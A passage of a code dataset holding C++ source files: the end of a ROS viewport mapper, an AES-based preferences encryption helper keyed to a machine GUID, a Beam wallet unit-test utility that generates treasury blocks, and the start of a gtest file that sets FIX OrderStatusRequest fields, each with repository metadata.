boost::lexical_cast<WGHT>(\n      s.substr(hwsep+1, xi-hwsep-1)\n    );\n    geometry->x = boost::lexical_cast<WGXT>(\n      s.substr(xi, yi-xi)\n    );\n    geometry->y = boost::lexical_cast<WGYT>(\n      s.substr(yi, s.length()-yi)\n    );\n\n  } catch(boost::bad_lexical_cast& e) {\n    throw ViewportMapperStringError(\"Invalid numeric in geometry string\");\n  } catch(std::out_of_range& e) {\n    throw ViewportMapperStringError(\"Substring index out of range\");\n  } catch(std::bad_alloc& e) {\n    throw ViewportMapperStringError(\"Failed to allocate substring\");\n  }\n\n  return geometry;\n}\n\n/**\n * \\brief Find the geometry of the root Xorg window.\n * \\return Root window geometry.\n */\nWindowGeometryPtr ViewportMapper::GetRootGeometry() {\n  const char* CMD = \"/usr/bin/xwininfo -root | /usr/bin/awk '/-geometry/ { print $2 }'\";\n\n  std::string s = util::exec(CMD);\n\n  WindowGeometryPtr geometry = GeometryFromString(s);\n  return geometry;\n}\n", "meta": {"hexsha": "a1a17d85bd802e186ced7b1893c863d20d9977ec", "size": 5671, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "lg_mirror/src/viewport_mapper.cpp", "max_stars_repo_name": "FuriousJulius/lg_ros_nodes", "max_stars_repo_head_hexsha": "15a84c5022ab2f5b038d11a5589cd4a34010b1d6", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 16.0, "max_stars_repo_stars_event_min_datetime": "2015-10-10T11:55:37.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-24T22:47:48.000Z", "max_issues_repo_path": "lg_mirror/src/viewport_mapper.cpp", "max_issues_repo_name": "FuriousJulius/lg_ros_nodes", "max_issues_repo_head_hexsha": "15a84c5022ab2f5b038d11a5589cd4a34010b1d6", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 292.0, "max_issues_repo_issues_event_min_datetime": "2015-09-29T21:59:53.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T15:59:31.000Z", "max_forks_repo_path": "lg_mirror/src/viewport_mapper.cpp", "max_forks_repo_name": "constantegonzalez/lg_ros_nodes", "max_forks_repo_head_hexsha": "1c7b08c42e90205922602c86805285508d1b7971", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2017-05-03T06:22:43.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-19T16:54:14.000Z", "avg_line_length": 32.4057142857, "max_line_length": 166, "alphanum_fraction": 0.706753659, "num_tokens": 1502, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.24798741512455283, "lm_q1q2_score": 0.12786725008689043}}
{"text": "#include <openssl/evp.h>\n#include <boost/algorithm/hex.hpp>\n\n#include \"Encryption.h\"\n\n#include <vector>\n#include <string>\n\n#pragma comment(lib, \"libssl_static\")\n#pragma comment(lib, \"libcrypto_static\")\n#pragma comment(lib, \"ws2_32\")\n\nnamespace\n{\n    /// <summary>\n    /// Decrypts ciphertext using the given key and initialization vector.\n    /// </summary>\n    /// <param name=\"ciphertext\">Encrypted bytes to decrypt.</param>\n    /// <param name=\"key\">Key used for decryption.</param>\n    /// <param name=\"initialization_vector\">Initialization vector used for decryption.</param>\n    /// <returns>Decrypted contents of ciphertext.</returns>\n    std::vector<uint8_t> Decrypt(\n        const std::vector<uint8_t> &ciphertext,\n        const std::vector<uint8_t> &key,\n        const std::vector<uint8_t> &initialization_vector)\n    {\n        auto out_plaintext = std::vector<uint8_t>(ciphertext.size());\n        auto plaintext_length = 0;\n        auto cipher = EVP_aes_256_cbc();\n        auto ctx = EVP_CIPHER_CTX_new();\n\n        EVP_CIPHER_CTX_init(ctx);\n\n        if (!EVP_DecryptInit_ex(ctx, cipher, nullptr, &key[0], &initialization_vector[0]))\n        {\n            EVP_CIPHER_CTX_free(ctx);\n            throw std::exception(\"EVP_DecryptInit_ex - FAILED\");\n        }\n\n        if (!EVP_DecryptUpdate(ctx, &out_plaintext[0], &plaintext_length, &ciphertext[0], static_cast<int>(ciphertext.size())))\n        {\n            EVP_CIPHER_CTX_free(ctx);\n            throw std::exception(\"EVP_DecryptUpdate - FAILED\");\n        }\n\n        auto additional_length = 0;\n        if (!EVP_DecryptFinal_ex(ctx, &out_plaintext[plaintext_length], &additional_length))\n        {\n            EVP_CIPHER_CTX_free(ctx);\n            throw std::exception(\"EVP_DecryptFinal_ex - FAILED\");\n        }\n\n        out_plaintext.resize(plaintext_length + additional_length);\n        EVP_CIPHER_CTX_free(ctx);\n        return out_plaintext;\n    }\n\n    /// <summary>\n    /// Encrypts plaintext into using the given key and initialization vector.\n    /// </summary>\n    /// <param name=\"plaintext\">Plaintext to encrypt.</param>\n    /// <param name=\"key\">Key used for encryption.</param>\n    /// <param name=\"initialization_vector\">Initialization vector used for encryption.</param>\n    /// <returns>Encrypted plaintext.</returns>\n    std::vector<uint8_t> Encrypt(\n        const std::vector<uint8_t> &plaintext,\n        const std::vector<uint8_t> &key,\n        const std::vector<uint8_t> &initialization_vector)\n    {\n        auto plaintext_length = 0;\n        auto cipher = EVP_aes_256_cbc();\n        auto ctx = EVP_CIPHER_CTX_new();\n\n        auto cipher_block_size = EVP_CIPHER_block_size(cipher);\n        auto num_blocks = plaintext.size() / cipher_block_size;\n        if (plaintext.size() % cipher_block_size != 0) {\n            ++num_blocks;\n        }\n        auto out_plaintext = std::vector<uint8_t>(cipher_block_size * num_blocks);\n\n        EVP_CIPHER_CTX_init(ctx);\n\n        if (!EVP_EncryptInit_ex(ctx, cipher, nullptr, &key[0], &initialization_vector[0]))\n        {\n            EVP_CIPHER_CTX_free(ctx);\n            throw std::exception(\"EVP_EncryptInit_ex - FAILED\");\n        }\n\n        if (!EVP_EncryptUpdate(ctx, &out_plaintext[0], &plaintext_length, &plaintext[0], static_cast<int>(plaintext.size())))\n        {\n            EVP_CIPHER_CTX_free(ctx);\n            throw std::exception(\"EVP_EncryptUpdate - FAILED\");\n        }\n\n        auto additional_length = 0;\n        if (!EVP_EncryptFinal_ex(ctx, &out_plaintext[plaintext_length], &additional_length))\n        {\n            EVP_CIPHER_CTX_free(ctx);\n            throw std::exception(\"EVP_EncryptFinal_ex - FAILED\");\n        }\n\n        out_plaintext.resize(plaintext_length + additional_length);\n        EVP_CIPHER_CTX_free(ctx);\n        return out_plaintext;\n    }\n\n    /// <summary>\n    /// Generates a key and initialization_vector out of the specified salt and source bytes.\n    /// </summary>\n    /// <param name=\"salt\">Salt bytes used to generate the key and initialization vector.</param>\n    /// <param name=\"source_bytes\">Source bytes used to generate the key and initialization vector.</param>\n    /// <param name=\"out_key\">[out] Generated key.</param>\n    /// <param name=\"out_initialization_vector\">[out] Generated initialization vector.</param>\n    /// <returns>True on success.</returns>\n    void GetKeys(\n        const std::vector<uint8_t> &salt,\n        const std::vector<uint8_t> &source_bytes,\n        std::vector<uint8_t> &out_key,\n        std::vector<uint8_t> &out_initialization_vector)\n    {\n        static const int kIterationCount = 5;\n\n        auto cipher = EVP_aes_256_cbc();\n        auto md = EVP_sha1();\n\n        auto cipher_key_length = EVP_CIPHER_key_length(cipher);\n        auto cipher_iv_length = EVP_CIPHER_iv_length(cipher);\n\n        out_key.resize(cipher_key_length);\n        out_initialization_vector.resize(cipher_iv_length);\n\n        auto derived_key_length = EVP_BytesToKey(\n            cipher,\n            md,\n            &salt[0],\n            &source_bytes[0],\n            static_cast<int>(source_bytes.size()),\n            kIterationCount,\n            &out_key[0],\n            &out_initialization_vector[0]\n        );\n\n        if (derived_key_length == 0)\n        {\n            throw std::exception(\"EVP_BytesToKey - Failed to generate key\");\n        }\n    }\n\n    /// <summary>\n    /// Mangles data for use as source bytes when generating a key and initialization vector.\n    /// </summary>\n    /// <param name=\"data_to_mangle\">Bytes to mangle.</param>\n    /// <returns>Collection of mangled bytes.</returns>\n    std::vector<uint8_t> MangleData(const std::vector<uint8_t> &data_to_mangle)\n    {\n        auto mangled_data = std::vector<uint8_t>(data_to_mangle);\n        const auto kMangledDataSize = mangled_data.size();\n\n        for (size_t index = 0; index < kMangledDataSize; ++index)\n        {\n            auto mangled_character = ((index + 2) * mangled_data[index]) % 128;\n            if (mangled_character != 0)\n            {\n                mangled_data[index] = static_cast<uint8_t>(mangled_character);\n            }\n        }\n\n        return mangled_data;\n    }\n\n    /// <summary>\n    /// Encrypts or decrypts data\n    /// </summary>\n    /// <param name=\"data\">Data to encrypt or decrypt</param>\n    /// <param name=\"machine_guid\">Machine GUID used to encrypt data</param>\n    /// <param name=\"salt_string\">Salt used to encrypt data</param>\n    /// <param name=\"is_encrypting\">Determines if data should be encrypted or decrypted</param>\n    /// <returns>Encrypted or decrypted data</returns>\n    std::vector<uint8_t> EncryptOrDecryptData(\n        const std::vector<uint8_t> &data,\n        const std::string &machine_guid,\n        const std::string &salt_string,\n        bool is_encrypting)\n    {\n        std::vector<uint8_t> salt_bytes;\n        boost::algorithm::unhex(salt_string.begin(), salt_string.end(), std::back_inserter(salt_bytes));\n\n        auto machine_guid_bytes = std::vector<uint8_t>(machine_guid.begin(), machine_guid.end());\n        auto mangled_data = MangleData(machine_guid_bytes);\n\n        std::vector<uint8_t> key;\n        std::vector<uint8_t> initialization_vector;\n        GetKeys(salt_bytes, mangled_data, key, initialization_vector);\n\n        if (is_encrypting)\n        {\n            return Encrypt(data, key, initialization_vector);\n        }\n        else\n        {\n            return Decrypt(data, key, initialization_vector);\n        }\n    }\n}\n\nnamespace UserPreferences\n{\n    namespace Encryption\n    {\n        std::vector<uint8_t> DecryptData(\n            const std::vector<uint8_t> &encrypted_data,\n            const std::string &machine_guid,\n            const std::string &salt_string)\n        {\n            return EncryptOrDecryptData(encrypted_data, machine_guid, salt_string, false);\n        }\n\n        std::vector<uint8_t> EncryptData(\n            const std::vector<uint8_t> &plaintext_data,\n            const std::string &machine_guid,\n            const std::string &salt_string)\n        {\n            return EncryptOrDecryptData(plaintext_data, machine_guid, salt_string, true);\n        }\n    }\n}\n", "meta": {"hexsha": "f25d68655f061e97caa4a0ef11264dfd638e70a6", "size": 8113, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "UserPreferences.Shared/Encryption.cpp", "max_stars_repo_name": "nooperation/UserPreferencesTool", "max_stars_repo_head_hexsha": "f5294fc1c3a2063ffbeb6b16337e20c55a8cf0fa", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "UserPreferences.Shared/Encryption.cpp", "max_issues_repo_name": "nooperation/UserPreferencesTool", "max_issues_repo_head_hexsha": "f5294fc1c3a2063ffbeb6b16337e20c55a8cf0fa", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "UserPreferences.Shared/Encryption.cpp", "max_forks_repo_name": "nooperation/UserPreferencesTool", "max_forks_repo_head_hexsha": "f5294fc1c3a2063ffbeb6b16337e20c55a8cf0fa", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.7400881057, "max_line_length": 127, "alphanum_fraction": 0.6303463577, "num_tokens": 1888, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.24798743735585302, "lm_q1q2_score": 0.126899289453024}}
{"text": "#include \"util.h\"\n#include \"wallet/wallet.h\"\n#include \"core/ecc_native.h\"\n#include \"core/serialization_adapters.h\"\n#include \"utility/logger.h\"\n#include <boost/filesystem.hpp>\n#include <iterator>\n#include <future>\n\nusing namespace std;\nusing namespace beam;\nusing namespace ECC;\n\nnamespace beam {\n\nstruct TreasuryBlockGenerator\n{\n\tstd::string m_sPath;\n\tIKeyChain* m_pKeyChain;\n\n\tstd::vector<Block::Body> m_vBlocks;\n\tECC::Scalar::Native m_Offset;\n\n\tstd::vector<Coin> m_Coins;\n\tstd::vector<std::pair<Height, ECC::Scalar::Native> > m_vIncubationAndKeys;\n\n\tstd::mutex m_Mutex;\n\tstd::vector<std::thread> m_vThreads;\n\n\tBlock::Body& get_WriteBlock();\n\tvoid FinishLastBlock();\n\tint Generate(uint32_t nCount, Height dh);\nprivate:\n\tvoid Proceed(uint32_t i);\n};\n\nbool ReadTreasury(std::vector<Block::Body>& vBlocks, const string& sPath)\n    {\n\t\tif (sPath.empty())\n\t\t\treturn false;\n\n\t\tstd::FStream f;\n\t\tif (!f.Open(sPath.c_str(), true))\n\t\t\treturn false;\n\n\t\tyas::binary_iarchive<std::FStream, SERIALIZE_OPTIONS> arc(f);\n        arc & vBlocks;\n\n\t\treturn true;\n    }\n\nint TreasuryBlockGenerator::Generate(uint32_t nCount, Height dh)\n{\n\tif (m_sPath.empty())\n\t{\n\t\tLOG_ERROR() << \"Treasury block path not specified\";\n\t\treturn -1;\n\t}\n\n\tboost::filesystem::path path{ m_sPath };\n\tboost::filesystem::path dir = path.parent_path();\n\tif (!dir.empty() && !boost::filesystem::exists(dir) && !boost::filesystem::create_directory(dir))\n\t{\n\t\tLOG_ERROR() << \"Failed to create directory: \" << dir.c_str();\n\t\treturn -1;\n\t}\n\n\tif (ReadTreasury(m_vBlocks, m_sPath))\n\t\tLOG_INFO() << \"Treasury already contains \" << m_vBlocks.size() << \" blocks, appending.\";\n\n\tif (!m_vBlocks.empty())\n\t{\n\t\tm_Offset = m_vBlocks.back().m_Offset;\n\t\tm_Offset = -m_Offset;\n\t}\n\n\tLOG_INFO() << \"Generating coins...\";\n\n\tm_Coins.resize(nCount);\n\tm_vIncubationAndKeys.resize(nCount);\n\n\tHeight h = 0;\n\n\tfor (uint32_t i = 0; i < nCount; i++, h += dh)\n\t{\n\t\tCoin& coin = m_Coins[i];\n\t\tcoin.m_key_type = KeyType::Regular;\n\t\tcoin.m_amount = Rules::Coin * 10;\n\t\tcoin.m_status = Coin::Unconfirmed;\n\t\tcoin.m_createHeight = h + Rules::HeightGenesis;\n\n\n\t\tm_vIncubationAndKeys[i].first = h;\n\t}\n\n\tm_pKeyChain->store(m_Coins); // we get coin id only after store\n\n\tfor (uint32_t i = 0; i < nCount; ++i)\n        m_vIncubationAndKeys[i].second = m_pKeyChain->calcKey(m_Coins[i]);\n\n\tm_vThreads.resize(std::thread::hardware_concurrency());\n\tassert(!m_vThreads.empty());\n\n\tfor (uint32_t i = 0; i < m_vThreads.size(); i++)\n\t\tm_vThreads[i] = std::thread(&TreasuryBlockGenerator::Proceed, this, i);\n\n\tfor (uint32_t i = 0; i < m_vThreads.size(); i++)\n\t\tm_vThreads[i].join();\n\n\t// at least 1 kernel\n\t{\n\t\tCoin dummy; // not a coin actually\n\t\tdummy.m_key_type = KeyType::Kernel;\n\t\tdummy.m_status = Coin::Unconfirmed;\n\n\t\tECC::Scalar::Native k = m_pKeyChain->calcKey(dummy);\n\n\t\tTxKernel::Ptr pKrn(new TxKernel);\n\t\tpKrn->m_Excess = ECC::Point::Native(Context::get().G * k);\n\n\t\tMerkle::Hash hv;\n\t\tpKrn->get_Hash(hv);\n\t\tpKrn->m_Signature.Sign(hv, k);\n\n\t\tget_WriteBlock().m_vKernelsOutput.push_back(std::move(pKrn));\n\t\tm_Offset += k;\n\t}\n\n\tFinishLastBlock();\n\n\tfor (auto i = 0u; i < m_vBlocks.size(); i++)\n\t{\n\t\tm_vBlocks[i].Sort();\n\t\tm_vBlocks[i].DeleteIntermediateOutputs();\n\t}\n\n\tstd::FStream f;\n\tf.Open(m_sPath.c_str(), false, true);\n\n\tyas::binary_oarchive<std::FStream, SERIALIZE_OPTIONS> arc(f);\n\tarc & m_vBlocks;\n\tf.Flush();\n\n/*\n\tfor (auto i = 0; i < m_vBlocks.size(); i++)\n\t\tm_vBlocks[i].IsValid(i + 1, true);\n*/\n\n\tLOG_INFO() << \"Done\";\n\n\treturn 0;\n}\n\nvoid TreasuryBlockGenerator::FinishLastBlock()\n{\n\tm_Offset = -m_Offset;\n\tm_vBlocks.back().m_Offset = m_Offset;\n}\n\nBlock::Body& TreasuryBlockGenerator::get_WriteBlock()\n{\n\tif (m_vBlocks.empty() || m_vBlocks.back().m_vOutputs.size() >= 1000)\n\t{\n\t\tif (!m_vBlocks.empty())\n\t\t\tFinishLastBlock();\n\n\t\tm_vBlocks.resize(m_vBlocks.size() + 1);\n\t\tm_vBlocks.back().ZeroInit();\n\t\tm_Offset = Zero;\n\t}\n\treturn m_vBlocks.back();\n}\n\nvoid TreasuryBlockGenerator::Proceed(uint32_t i0)\n{\n\tstd::vector<Output::Ptr> vOut;\n\n\tfor (uint32_t i = i0; i < m_Coins.size(); i += m_vThreads.size())\n\t{\n\t\tconst Coin& coin = m_Coins[i];\n\n\t\tOutput::Ptr pOutp(new Output);\n\t\tpOutp->m_Incubation = m_vIncubationAndKeys[i].first;\n\n\t\tconst ECC::Scalar::Native& k = m_vIncubationAndKeys[i].second;\n\t\tpOutp->Create(k, coin.m_amount);\n\n\t\tvOut.push_back(std::move(pOutp));\n\t\t//offset += k;\n\t\t//subBlock.m_Subsidy += coin.m_amount;\n\t}\n\n\tstd::unique_lock<std::mutex> scope(m_Mutex);\n\n\tuint32_t iOutp = 0;\n\tfor (uint32_t i = i0; i < m_Coins.size(); i += m_vThreads.size(), iOutp++)\n\t{\n\t\tBlock::Body& block = get_WriteBlock();\n\n\t\tblock.m_vOutputs.push_back(std::move(vOut[iOutp]));\n\t\tblock.m_Subsidy += m_Coins[i].m_amount;\n\t\tm_Offset += m_vIncubationAndKeys[i].second;\n\t}\n}\n\n\nIKeyChain::Ptr init_keychain(const std::string& path, uintBig* walletSeed) {\n    static const std::string TEST_PASSWORD(\"12321\");\n\n    if (boost::filesystem::exists(path)) boost::filesystem::remove_all(path);\n\n    std::string password(TEST_PASSWORD);\n    password += path;\n\n    NoLeak<uintBig> seed;\n    Hash::Value hv;\n    Hash::Processor() << password.c_str() >> hv;\n    seed.V = hv;\n\n    auto keychain = Keychain::init(path, password, seed);\n\n    if (walletSeed) {\n        TreasuryBlockGenerator tbg;\n        tbg.m_sPath = path + \"_\";\n        tbg.m_pKeyChain = keychain.get();\n\t\tHeight dh = 1;\n\t\tuint32_t nCount = 10;\n        tbg.Generate(nCount, dh);\n        *walletSeed = seed.V;\n    }\n\n    return keychain;\n}\n\n} //namespace\n\nstd::ostream& operator<<(std::ostream& os, const ECC::Scalar::Native& sn) {\n    Scalar s;\n    sn.Export(s);\n    os << s.m_Value;\n    return os;\n}\n", "meta": {"hexsha": "c4bff15003d2c1ed21acb480e4e4e50165c28f2d", "size": 5568, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "wallet/unittests/util.cpp", "max_stars_repo_name": "akhavr/beam", "max_stars_repo_head_hexsha": "99e427f6ba0a0ee1a0dbe598d0fa6d642e571d62", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "wallet/unittests/util.cpp", "max_issues_repo_name": "akhavr/beam", "max_issues_repo_head_hexsha": "99e427f6ba0a0ee1a0dbe598d0fa6d642e571d62", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "wallet/unittests/util.cpp", "max_forks_repo_name": "akhavr/beam", "max_forks_repo_head_hexsha": "99e427f6ba0a0ee1a0dbe598d0fa6d642e571d62", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.9135802469, "max_line_length": 98, "alphanum_fraction": 0.670079023, "num_tokens": 1674, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.2422056341953392, "lm_q1q2_score": 0.1267753575648681}}
{"text": "#include <gtest/gtest.h>\n\n#include \"converter/fixml2fix_converter.hxx\"\n#include \"converter/xml_element_helper.hxx\"\n#include \"converter/fix_helper.hxx\"\n#include \"util/fix_env.hxx\"\n#include \"tools/test_util.hxx\"\n\n#include <boost/log/trivial.hpp>\n\n#include <quickfix/fix50sp2/OrderStatusRequest.h>\n\n#include <list>\n#include <set>\n#include <string>\n#include <utility>\n\nusing namespace std;\nusing namespace fix2xml;\n\nTEST ( OrderStatusRequest, set_fields)\n{\n\n  fixml2fix_converter converter {\"../spec/fix/FIX50SP2.xml\", \"../spec/xsd/fixml-main-5-0-SP2.xsd\"};\n  auto& fixml_dict = converter.fixml_dico();\n  ASSERT_TRUE(converter.init());\n  ASSERT_TRUE(converter.parse_fixt_dico(\"../spec/fix/FIXT11.xml\"));\n  FIX50SP2::OrderStatusRequest msg;\n\n  list<multiset<string>> all_values;\n  multiset<string> all_compo_names;\n  multiset<string> OrderStatusRequest_0;\n  set_field(msg, FIX::Account{\"STRING_1667998107\"}, OrderStatusRequest_0);\n  set_field(msg, FIX::AcctIDSource{5}, OrderStatusRequest_0);\n  set_field(msg, FIX::ClOrdID{\"STRING_524461296\"}, OrderStatusRequest_0);\n  set_field(msg, FIX::ClOrdLinkID{\"STRING_825122959\"}, OrderStatusRequest_0);\n  set_field(msg, FIX::OrdStatusReqID{\"STRING_873787524\"}, OrderStatusRequest_0);\n  set_field(msg, FIX::OrderID{\"STRING_997261668\"}, OrderStatusRequest_0);\n  set_field(msg, FIX::SecondaryClOrdID{\"STRING_1531520289\"}, OrderStatusRequest_0);\n  set_field(msg, FIX::Side{'7'}, OrderStatusRequest_0);\n  all_values.push_back(OrderStatusRequest_0);\n\n  all_compo_names.insert(\"OrderStatusRequest\");\n\n  // FinancingDetails\n  multiset<string> FinancingDetails_15;\n  set_field(msg, FIX::AgreementCurrency{\"CAN\"}, FinancingDetails_15);\n  set_field(msg, FIX::AgreementDate{\"LOCALMKTDATE_2077423891\"}, FinancingDetails_15);\n  set_field(msg, FIX::AgreementDesc{\"STRING_1491031903\"}, FinancingDetails_15);\n  set_field(msg, FIX::AgreementID{\"STRING_908037660\"}, FinancingDetails_15);\n  set_field(msg, FIX::DeliveryType{1}, FinancingDetails_15);\n  set_field(msg, FIX::EndDate{\"LOCALMKTDATE_2021583826\"}, FinancingDetails_15);\n  FIX::MarginRatio MarginRatio_15;\n  MarginRatio_15.setString(\"11.130000\");\nset_field(msg, MarginRatio_15, FinancingDetails_15);\n  set_field(msg, FIX::StartDate{\"LOCALMKTDATE_295759902\"}, FinancingDetails_15);\n  set_field(msg, FIX::TerminationType{4}, FinancingDetails_15);\n  all_values.push_back(FinancingDetails_15);\n  all_compo_names.insert(\".\");\n\n  // Instrument\n  multiset<string> Instrument_62;\n  FIX::AttachmentPoint AttachmentPoint_62;\n  AttachmentPoint_62.setString(\"11.350000\");\nset_field(msg, AttachmentPoint_62, Instrument_62);\n  set_field(msg, FIX::CFICode{\"STRING_1602927052\"}, Instrument_62);\n  set_field(msg, FIX::CPProgram{1}, Instrument_62);\n  set_field(msg, FIX::CPRegType{\"STRING_1524978286\"}, Instrument_62);\n  FIX::CapPrice CapPrice_62;\n  CapPrice_62.setString(\"9441905\");\nset_field(msg, CapPrice_62, Instrument_62);\n  FIX::ContractMultiplier ContractMultiplier_62;\n  ContractMultiplier_62.setString(\"2925785\");\nset_field(msg, ContractMultiplier_62, Instrument_62);\n  set_field(msg, FIX::ContractMultiplierUnit{1}, Instrument_62);\n  set_field(msg, FIX::ContractSettlMonth{\"MONTHYEAR_2057333218\"}, Instrument_62);\n  set_field(msg, FIX::CountryOfIssue{\"COUNTRY_1970011813\"}, Instrument_62);\n  set_field(msg, FIX::CouponPaymentDate{\"LOCALMKTDATE_1368260330\"}, Instrument_62);\n  FIX::CouponRate CouponRate_62;\n  CouponRate_62.setString(\"42.150000\");\nset_field(msg, CouponRate_62, Instrument_62);\n  set_field(msg, FIX::CreditRating{\"STRING_1489742914\"}, Instrument_62);\n  set_field(msg, FIX::DatedDate{\"LOCALMKTDATE_969564035\"}, Instrument_62);\n  FIX::DetachmentPoint DetachmentPoint_62;\n  DetachmentPoint_62.setString(\"86.740000\");\nset_field(msg, DetachmentPoint_62, Instrument_62);\n  set_field(msg, FIX::EncodedIssuer{\"DATA_1929771477\"}, Instrument_62);\n  set_field(msg, FIX::EncodedIssuerLen{1494025332}, Instrument_62);\n  set_field(msg, FIX::EncodedSecurityDesc{\"DATA_240117985\"}, Instrument_62);\n  set_field(msg, FIX::EncodedSecurityDescLen{656075353}, Instrument_62);\n  set_field(msg, FIX::ExerciseStyle{1}, Instrument_62);\n  FIX::Factor Factor_62;\n  Factor_62.setString(\"17716382\");\nset_field(msg, Factor_62, Instrument_62);\n  set_field(msg, FIX::FlexProductEligibilityIndicator{false}, Instrument_62);\n  set_field(msg, FIX::FlexibleIndicator{false}, Instrument_62);\n  FIX::FloorPrice FloorPrice_62;\n  FloorPrice_62.setString(\"11875983\");\nset_field(msg, FloorPrice_62, Instrument_62);\n  set_field(msg, FIX::FlowScheduleType{0}, Instrument_62);\n  set_field(msg, FIX::InstrRegistry{\"STRING_1407406480\"}, Instrument_62);\n  set_field(msg, FIX::InstrmtAssignmentMethod{'2'}, Instrument_62);\n  set_field(msg, FIX::InterestAccrualDate{\"LOCALMKTDATE_945635435\"}, Instrument_62);\n  set_field(msg, FIX::IssueDate{\"LOCALMKTDATE_1281506659\"}, Instrument_62);\n  set_field(msg, FIX::Issuer{\"STRING_466763488\"}, Instrument_62);\n  set_field(msg, FIX::ListMethod{0}, Instrument_62);\n  set_field(msg, FIX::LocaleOfIssue{\"STRING_1307906302\"}, Instrument_62);\n  set_field(msg, FIX::MaturityDate{\"LOCALMKTDATE_1810864623\"}, Instrument_62);\n  set_field(msg, FIX::MaturityMonthYear{\"MONTHYEAR_696838742\"}, Instrument_62);\n  set_field(msg, FIX::MaturityTime{\"TZTIMEONLY_137811287\"}, Instrument_62);\n  FIX::MinPriceIncrement MinPriceIncrement_62;\n  MinPriceIncrement_62.setString(\"11883592\");\nset_field(msg, MinPriceIncrement_62, Instrument_62);\n  FIX::MinPriceIncrementAmount MinPriceIncrementAmount_62;\n  MinPriceIncrementAmount_62.setString(\"16410292\");\nset_field(msg, MinPriceIncrementAmount_62, Instrument_62);\n  set_field(msg, FIX::NTPositionLimit{430389855}, Instrument_62);\n  FIX::NotionalPercentageOutstanding NotionalPercentageOutstanding_62;\n  NotionalPercentageOutstanding_62.setString(\"26.670000\");\nset_field(msg, NotionalPercentageOutstanding_62, Instrument_62);\n  set_field(msg, FIX::OptAttribute{'1'}, Instrument_62);\n  FIX::OptPayoutAmount OptPayoutAmount_62;\n  OptPayoutAmount_62.setString(\"2529180\");\nset_field(msg, OptPayoutAmount_62, Instrument_62);\n  set_field(msg, FIX::OptPayoutType{3}, Instrument_62);\n  FIX::OriginalNotionalPercentageOutstanding OriginalNotionalPercentageOutstanding_62;\n  OriginalNotionalPercentageOutstanding_62.setString(\"94.000000\");\nset_field(msg, OriginalNotionalPercentageOutstanding_62, Instrument_62);\n  set_field(msg, FIX::Pool{\"STRING_1742660935\"}, Instrument_62);\n  set_field(msg, FIX::PositionLimit{1154173385}, Instrument_62);\n  set_field(msg, FIX::PriceQuoteMethod{\"STRING_PCTPAR\"}, Instrument_62);\n  set_field(msg, FIX::PriceUnitOfMeasure{\"STRING_1524948764\"}, Instrument_62);\n  FIX::PriceUnitOfMeasureQty PriceUnitOfMeasureQty_62;\n  PriceUnitOfMeasureQty_62.setString(\"5007150\");\nset_field(msg, PriceUnitOfMeasureQty_62, Instrument_62);\n  set_field(msg, FIX::Product{1}, Instrument_62);\n  set_field(msg, FIX::ProductComplex{\"STRING_33540469\"}, Instrument_62);\n  set_field(msg, FIX::PutOrCall{1}, Instrument_62);\n  set_field(msg, FIX::RedemptionDate{\"LOCALMKTDATE_724627039\"}, Instrument_62);\n  set_field(msg, FIX::RepoCollateralSecurityType{\"STRING_1958737956\"}, Instrument_62);\n  FIX::RepurchaseRate RepurchaseRate_62;\n  RepurchaseRate_62.setString(\"29.990000\");\nset_field(msg, RepurchaseRate_62, Instrument_62);\n  set_field(msg, FIX::RepurchaseTerm{1912225401}, Instrument_62);\n  set_field(msg, FIX::RestructuringType{\"STRING_MM\"}, Instrument_62);\n  set_field(msg, FIX::SecurityDesc{\"STRING_20815831\"}, Instrument_62);\n  set_field(msg, FIX::SecurityExchange{\"EXCHANGE_1860377776\"}, Instrument_62);\n  set_field(msg, FIX::SecurityGroup{\"STRING_464543826\"}, Instrument_62);\n  set_field(msg, FIX::SecurityID{\"STRING_1302322490\"}, Instrument_62);\n  set_field(msg, FIX::SecurityIDSource{\"STRING_7\"}, Instrument_62);\n  set_field(msg, FIX::SecurityStatus{\"STRING_1\"}, Instrument_62);\n  set_field(msg, FIX::SecuritySubType{\"STRING_462745144\"}, Instrument_62);\n  set_field(msg, FIX::SecurityType{\"STRING_CD\"}, Instrument_62);\n  set_field(msg, FIX::Seniority{\"STRING_SD\"}, Instrument_62);\n  set_field(msg, FIX::SettlMethod{'C'}, Instrument_62);\n  set_field(msg, FIX::SettleOnOpenFlag{\"STRING_1031397852\"}, Instrument_62);\n  set_field(msg, FIX::StateOrProvinceOfIssue{\"STRING_1896323521\"}, Instrument_62);\n  set_field(msg, FIX::StrikeCurrency{\"CAN\"}, Instrument_62);\n  FIX::StrikeMultiplier StrikeMultiplier_62;\n  StrikeMultiplier_62.setString(\"12997187\");\nset_field(msg, StrikeMultiplier_62, Instrument_62);\n  FIX::StrikePrice 